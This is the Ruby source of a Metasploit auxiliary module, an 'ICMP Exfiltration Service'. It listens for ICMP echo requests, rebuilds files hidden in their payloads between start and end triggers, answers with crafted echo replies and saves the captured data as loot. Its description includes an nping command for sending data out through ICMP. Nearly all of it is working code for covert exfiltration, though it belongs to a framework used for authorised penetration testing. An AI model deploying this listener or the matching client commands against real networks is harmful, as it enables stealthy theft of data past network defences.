##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Capture
  include Msf::Auxiliary::Report

  def initialize
    super(
      'Name' => 'ICMP Exfiltration Service',
      'Description' => %q{
        This module is designed to provide a server-side component to receive and store files
        exfiltrated over ICMP echo request packets.

        To use this module you will need to send an initial ICMP echo request containing the
        specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
        a random filename can be assigned). All data received from this source will automatically
        be added to the receive buffer until an ICMP echo request containing a specific end trigger
        (defaults to '^EOL') is received.

        Suggested Client:
        Data can be sent from the client using a variety of tools. One such example is nping (included
        with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1
      },
      'Author' => 'Chris John Riley',
      'License' => MSF_LICENSE,
      'References' => [
        # packetfu
        ['URL', 'https://github.com/todb/packetfu'],
        # nping
        ['URL', 'https://nmap.org/book/nping-man.html'],
        # simple icmp
        ['URL', 'https://blog.c22.cc/2012/02/17/quick-post-fun-with-python-ctypes-simpleicmp/']
      ]
    )

    register_options([
      OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']),
      OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']),
      OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']),
      OptString.new('RESP_CONT', [true, 'Data to respond when continuation of data expected', 'OK']),
      OptString.new('RESP_END', [true, 'Data to respond when EOF received and data saved', 'COMPLETE']),
      OptString.new('BPF_FILTER', [true, 'BPF format filter to listen for', 'icmp']),
      OptString.new('INTERFACE', [false, 'The name of the interface']),
      OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true])
    ])

    register_advanced_options([
      OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]),
      OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]),
      OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
    ])

    deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'RHOST', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT', 'TIMEOUT')
  end

  def run
    begin
      # check Pcaprub is up to date
      if not netifaces_implemented?
        print_error("WARNING : Pcaprub is not up-to-date, some functionality will not be available")
        netifaces = false
      else
        netifaces = true
      end

      @interface = datastore['INTERFACE'] || Pcap.lookupdev
      # this is needed on windows cause we send interface directly to Pcap functions
      @interface = get_interface_guid(@interface)
      @iface_ip = datastore['LOCALIP']
      @iface_ip ||= get_ipv4_addr(@interface) if netifaces
      raise "Interface IP is not defined and can not be guessed" unless @iface_ip

      # start with blank slate
      @record = false
      @record_data = ''

      if datastore['PROMISC']
        print_status("Warning: Promiscuous mode enabled. This may cause issues!")
      end

      # start icmp listener process - loop
      icmp_listener
    ensure
      store_file
      print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})")
    end
  end

  def icmp_listener
    # start icmp listener

    print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}")
    if datastore['FNAME_IN_PACKET']
      print_status("Filename expected in initial packet, directly following trigger (e.g. #{datastore['START_TRIGGER']}filename.ext)")
    end

    cap = PacketFu::Capture.new(
      :iface => @interface,
      :start => true,
      :filter => datastore['BPF_FILTER'],
      :promisc => datastore['PROMISC']
    )
    loop {
      cap.stream.each do |pkt|
        packet = PacketFu::Packet.parse(pkt)
        data = packet.payload[4..-1]

        if packet.is_icmp? and data =~ /#{datastore['START_TRIGGER']}/
          # start of new file detected
          vprint_status("#{Time.now}: ICMP (type %d code %d) SRC:%s DST:%s" %
                [packet.icmp_type, packet.icmp_code, packet.ip_saddr, packet.ip_daddr])

          # detect and warn if system is responding to ICMP echo requests
          # suggested fixes:
          # -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
          # -(Windows) netsh firewall set icmpsetting 8 disable
          # -(Windows) netsh firewall set opmode mode = ENABLE

          if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip
            print_error "Detected ICMP echo response. You must either disable ICMP handling"
            print_error "or try a more restrictive BPF filter. You might try:"
            print_error " set BPF_FILTER icmp and not src #{datastore['LOCALIP']}"
            return
          end

          if @record
            print_error("New file started without saving old data")
            store_file
          end

          # begin recording stream
          @record = true
          @record_host = packet.ip_saddr
          @record_data = ''

          # set filename from data in incoming icmp packet
          if datastore['FNAME_IN_PACKET']
            @filename = data[((datastore['START_TRIGGER'].length) - 1)..-1].strip
          end
          # if filename not sent in packet, or FNAME_IN_PACKET false set time based name
          if not datastore['FNAME_IN_PACKET'] or @filename.empty?
            @filename = "icmp_exfil_" + ::Time.now.to_i.to_s # set filename based on current time
          end

          print_good("Beginning capture of \"#{@filename}\" data")

          # create response packet icmp_pkt
          icmp_response, contents = icmp_packet(packet, datastore['RESP_START'])

          if not icmp_response
            raise "Could not build ICMP response"
          else
            # send response packet icmp_pkt
            send_icmp(icmp_response, contents)
          end

        elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr
          # check for EOF marker, if not continue recording data

          if data =~ /#{datastore['END_TRIGGER']}/
            # end of file marker found
            print_status("#{@record_data.length} bytes of data received in total")
            print_good("End of File received. Saving \"#{@filename}\" to loot")
            store_file

            # create response packet icmp_pkt
            icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])

            if not icmp_response
              raise "Could not build ICMP response"
            else
              # send response packet icmp_pkt
              send_icmp(icmp_response, contents)
            end

            # turn off recording and clear status
            @record = false
            @record_host = ''
            @record_data = ''

          else
            # add data to recording and continue
            @record_data << data.to_s()
            vprint_status("Received #{data.length} bytes of data from #{packet.ip_saddr}")

            # create response packet icmp_pkt
            icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT'])

            if not icmp_response
              raise "Could not build ICMP response"
            else
              # send response packet icmp_pkt
              send_icmp(icmp_response, contents)
            end
          end
        end
      end
    }
  end

  def icmp_packet(packet, contents)
    # create icmp response

    @src_ip = packet.ip_daddr
    src_mac = packet.eth_daddr
    @dst_ip = packet.ip_saddr
    dst_mac = packet.eth_saddr
    icmp_id = packet.payload[0, 2]
    icmp_seq = packet.payload[2, 2]

    # create payload with matching id/seq
    resp_payload = icmp_id + icmp_seq + contents

    icmp_pkt = PacketFu::ICMPPacket.new(:flavor => datastore['CLOAK'].downcase)
    icmp_pkt.eth_saddr = src_mac
    icmp_pkt.eth_daddr = dst_mac
    icmp_pkt.icmp_type = 0
    icmp_pkt.icmp_code = 0
    icmp_pkt.payload = resp_payload
    icmp_pkt.ip_saddr = @src_ip
    icmp_pkt.ip_daddr = @dst_ip
    icmp_pkt.recalc

    icmp_response = icmp_pkt

    return icmp_response, contents
  end

  def send_icmp(icmp_response, contents)
    # send icmp response on selected interface
    icmp_response.to_w(iface = @interface)
    vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"")
  end

  def store_file
    # store the file in loot if data is present
    if @record_data and not @record_data.empty?
      loot = store_loot(
        "icmp_exfil",
        "text/xml",
        @src_ip,
        @record_data,
        @filename,
        "ICMP Exfiltrated Data"
      )
      print_good("Incoming file \"#{@filename}\" saved to loot")
      print_good("Loot filename: #{loot}")
    end
  end
end
